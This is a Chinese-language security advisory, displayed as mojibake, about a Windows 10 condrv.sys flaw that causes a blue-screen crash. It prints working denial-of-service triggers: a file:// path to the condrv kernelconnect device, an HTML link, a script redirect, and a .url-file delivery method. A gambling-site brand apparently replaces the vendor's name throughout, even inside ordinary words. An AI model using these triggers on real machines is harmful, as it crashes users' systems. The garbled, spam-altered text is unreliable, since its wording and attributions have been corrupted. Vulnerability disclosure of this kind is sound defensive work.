·¢²¼Ê±¼ä£º2021-01-25
½üÈÕ£¬¹«º£²Ê´¬¡¤6600ÍøÂçCERT°²È«Ó¦¼±ÏìÓ¦ÍŶÓ×·×Ùµ½Ò»ÔòWindows 10 condrv.sys´æÔÚÄÚ´æËð»µÂ©¶´µÄÐÅÏ¢£¬¸Ã©¶´Ö±½Óµ¼ÖÂWin10ϵͳÀ¶ÆÁ¡£¸Ã©¶´ÊÇÓÉÓÚWindows 10ÖÐcondrvÇý¶¯ÉèÖôíÎóµ¼Öµġ£ µ±Chrome »òEdgeä¯ÀÀÆ÷ÔÚ´ò¿ªÌض¨Á´½Óʱ£¬¸ÕºÃµ÷ÓÃÁ˸ÃÇý¶¯µÄÏàÓ¦º¯Êý£¬¶øIEûÓе÷Óã¬Òò´ËIE²»»áÊÜÓ°Ïì¡£ÁíÍ⣬¹¥»÷ÕßÄܹ»Ö±½Ó¹¹Ôì¶ñÒâ´úÂëÖ±½Óµ÷ÓôæÔÚ©¶´µÄº¯Êý£¬Èç¹ûÓû§µã»÷¾Í»á´¥·¢Â©¶´¡¢µ¼ÖÂÀ¶ÆÁ¡£
ÀûÓÃÐÎʽ
·ÃÎÊÁ´½Ó\\.\globalroot\device\condrv\kernelconnect»á´¥·¢À¶ÆÁ¡£
´¥·¢·½·¨
ÓÃä¯ÀÀÆ÷·ÃÎÊ£º
file://\\.\globalroot\device\condrv\kernelconnect
ÓÃÒ»¸ö¿ì½Ý·½Ê½Ö¸Ïò£º
\\.\globalroot\device\condrv\kernelconnect
ÍøÒ³¹¥»÷£º
ÀýÈça±êÇ©
<a href="file://\\.\globalroot\device\condrv\kernelconnect"></a>
<script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script>
ÒÔ¼°JavaScript½Å±¾¡£
΢ÐÅȺ¶ñÒâÓû§´«²¥ÃûΪtest.urlÎļþ,ÔÚ΢ÐÅ¿ªÆô×Ô¶¯ÏÂÔØ¹¦ÄܺóÎļþ±»½ÓÊÕµ¼ÖµçÄÔ¼´À¶ÆÁ
·ÃÎʸÃÎļþ¼Ð¼´À¶ÆÁ(urlÎļþ»á×Ô¶¯ÇëÇóÎļþͼ±ê¶ø¼ÓÔØ\\.\gxxx
µã»÷´ò¿ª¼´À¶ÆÁ,ÎļþÄÚĬÈÏURLΪ\\.\gxxx
µçÄÔ΢ÐÅ´ò¿ª¼´À¶ÆÁ,µçÄÔ΢ÐÅĬÈÏʹÓÃÁË΢Ðŵ±Ç°Ä¿Â¼ÏÂwechatweb.exeÎļþ¶ÔWebÄÚÈݽøÐмÓÔØ,¶ø¸ÃexeºËÐÄÔòÊÇÓÉQQä¯ÀÀÆ÷ÑÝ±ä¶øÀ´,¶øQQä¯ÀÀÆ÷ÄÚºËÓÖÊDzÉÓõÄchromeÄÚºË,ËùÒÔ΢ÐŶ˴ò¿ª¼´À¶ÆÁ
Ó°Ï췶Χ
ĿǰÊÜÓ°ÏìµÄ²Ù×÷ϵͳ°æ±¾£ºWindows 10.1709¼°ÒÔÉÏϵͳ
´¦Àí¹«º£²Ê´¬¡¤6600¹ÙÍø
¹Ù·½ÐÞ¸´½¨Òé
¸Ã©¶´µ±Ç°ÔÝÎÞ¹Ù·½½â¾ö¹«º£²Ê´¬¡¤6600¹ÙÍø¡£
²úÆ·µ±Ç°¹Ù·½ÔÝδ·¢²¼ÊÜÓ°Ïì°æ±¾µÄ¶ÔÓ¦²¹¶¡£¬½¨ÒéÊÜÓ°ÏìµÄÓû§¼°Ê±¹Ø×¢¸üйٷ½µÄ°²È«²¹¶¡£¨¼°Ê±¸üÐÂÉý¼¶µ½×îа汾£©¡£Á´½ÓÈçÏ£º
https://www.microsoft.com/zh-cn/software-download/windows10
¹«º£²Ê´¬¡¤6600ÍøÂçÐÞ¸´½¨Òé
|
²úÆ· |
˵Ã÷ |
|
RG-WALLϵÁÐÏÂÒ»´ú·À»ðǽ |
ÏÂÒ»´ú·À»ðǽ½áºÏ·À²¡¶¾ÒÔ¼°ÍþвÇ鱨¼ì²â¡£ÔÚ°²È«ÄÜÁ¦ÉÏ£¬²»½öÖ§³ÖNAT¡¢ACL¡¢DDoS·ÀÓùµÈ´«Í³°²È«¹¦ÄÜ£¬Ò²Ö§³Ö·á¸»µÄÓ¦Óü¶°²È«¹¦ÄÜ£¬°üÀ¨²¡¶¾²éɱ¡¢ÈëÇÖ¼ì²â¡¢APP¼ì²â¡¢Îļþ¹ýÂË¡¢¶ñÒâURL¹ýÂ˵ȡ£Ìṩ¶àά¶ÈµÄÓ¦Óòã¼à¿ØÓë·ÖÎö£¬°ïÖúÓû§ÕÆÎÕ·çÏÕ£¬¾«×¼Ô¤¾¯¡£ |
|
RG-IDPϵÁÐÈëÇÖ¼ì²â·ÀÓùϵͳ |
Êǹ«º£²Ê´¬¡¤6600ÍøÂçÍÆ³öµÄ½«Éî¶ÈÄÚÈݼì²â¡¢°²È«·À»¤¡¢ÉÏÍøÐÐΪ¹ÜÀíµÈ¼¼Êõ½áºÏµÄÈëÇÖ¼ì²â·ÀÓùϵͳÉ豸¡£Í¨¹ý¶ÔÍøÂçÖÐÉî²ã¹¥»÷ÐÐΪ½øÐÐ׼ȷµÄ·ÖÎöÅжϣ¬Ö÷¶¯ÓÐЧµÄ±£»¤ÍøÂ簲ȫ¡£ÅäºÏʵʱ¸üеÄÈëÇÖ¹¥»÷ÌØÕ÷¿â£¬¿É¼ì²â·À»¤3500ÖÖÒÔÉϵÄÍøÂç¹¥»÷ÐÐΪ£¬°üº¬DoS/DDoS¡¢²¡¶¾¡¢È䳿¡¢½©Ê¬ÍøÂ硢ľÂí¡¢¿ÉÒÉ´úÂ롢̽²âÓëɨÃèµÈ¸÷ÖÖÍøÂçÍþв¡£ |
°²È«½¨Òé
²»Òª´ò¿ªÄ°ÉúÍøÒ³£¬Èç¹û²»±ØÒª½¨Òé½ûÖ¹JavaScript¡£
²»Òª´ò¿ªÄ°Éú³ÌÐò£¬Öն˰²×°·À»¤Èí¼þ¡£
²»ÒªËæÒâÏÂÔØ°²×°À´Ô´²»Ã÷µÄÈí¼þ£¬·ÀÖ¹ÓÐÈ˶ñÒâÀûÓôË©¶´Ôì³É¾Ü¾ø·þÎñ¹¥»÷¡£
¶Ô²»Ã÷À´ÀúµÄÓʼþ¡¢officeµÈÌá¸ß¾¯Ìè¡£
¾¯Ìè²»Ã÷À´ÀúѹËõÎļþ£¬ÎªÁËÈÃÊܺ¦ÕßÏÂÔØWindows¿ì½Ý·½Ê½(.url)Îļþ¡£¹¥»÷Õß»áͨ¹ýÆÛÆÓû§ÏÂÔØZIP¹éµµÎļþ£¬²¢½«¶ñÒâ×Ö·û´®Òþ²ØÆäÖУ»µ±Óû§½âѹZIPÎļþʱ±ã»á´¥·¢¹¥»÷¡£
¼°Ê±±¸·ÝÖØÒªÎļþ£¬ÒÔÃâÎļþ¶ªÊ§¡£
ÍŶӽéÉÜ
¹«º£²Ê´¬¡¤6600ÍøÂçCERT°²È«Ó¦¼±ÏìÓ¦ÍŶӣ¬¸ú×Ù×îл¥ÁªÍøÍþвʼþ£¬Õë¶Ô×îа²È«Â©¶´£¬APT¹¥»÷ÒÔ¼°½©Ê¬ÍøÂç¼Ò×å×öʵʱ¸ú×ٺͷÖÎö;Ϊ²úÆ·¡¢¿Í»§Ìṩʵʱ¡¢ÓÐЧµÄ°²È«·À»¤²ßÂÔÓë½â¾ö¹«º£²Ê´¬¡¤6600¹ÙÍø¡£

¹«º£²Ê´¬¡¤6600“ÍøÂç+°²È«”Ö÷ÕŽ«ÍøÂçÉ豸µÄ°²È«ÄÜÁ¦³ä·Ö·¢»Ó£¬ÍøÂçÉ豸¡¢°²È«É豸Ó밲ȫƽ̨ÖÇÄÜÁª¶¯£¬¸æ±ð°²È«¹Âµº£¬¹¹³ÉÕûÍøÁª¶¯µÄ°²È«±£ÕÏÌåϵ£¬ÊµÏÖ·À»¤¡¢°²È«Ô¤²â¡¢·ÖÎöºÍÏìÓ¦µÈ°²È«ÎÊÌâ×Ô¶¯»¯È«Á÷³Ì±Õ»·¡£

ÈçÄúÐèÒª¹«º£²Ê´¬¡¤6600°²È«£¬ÇëÁôÏÂÄúµÄÁªÏµ·½Ê½
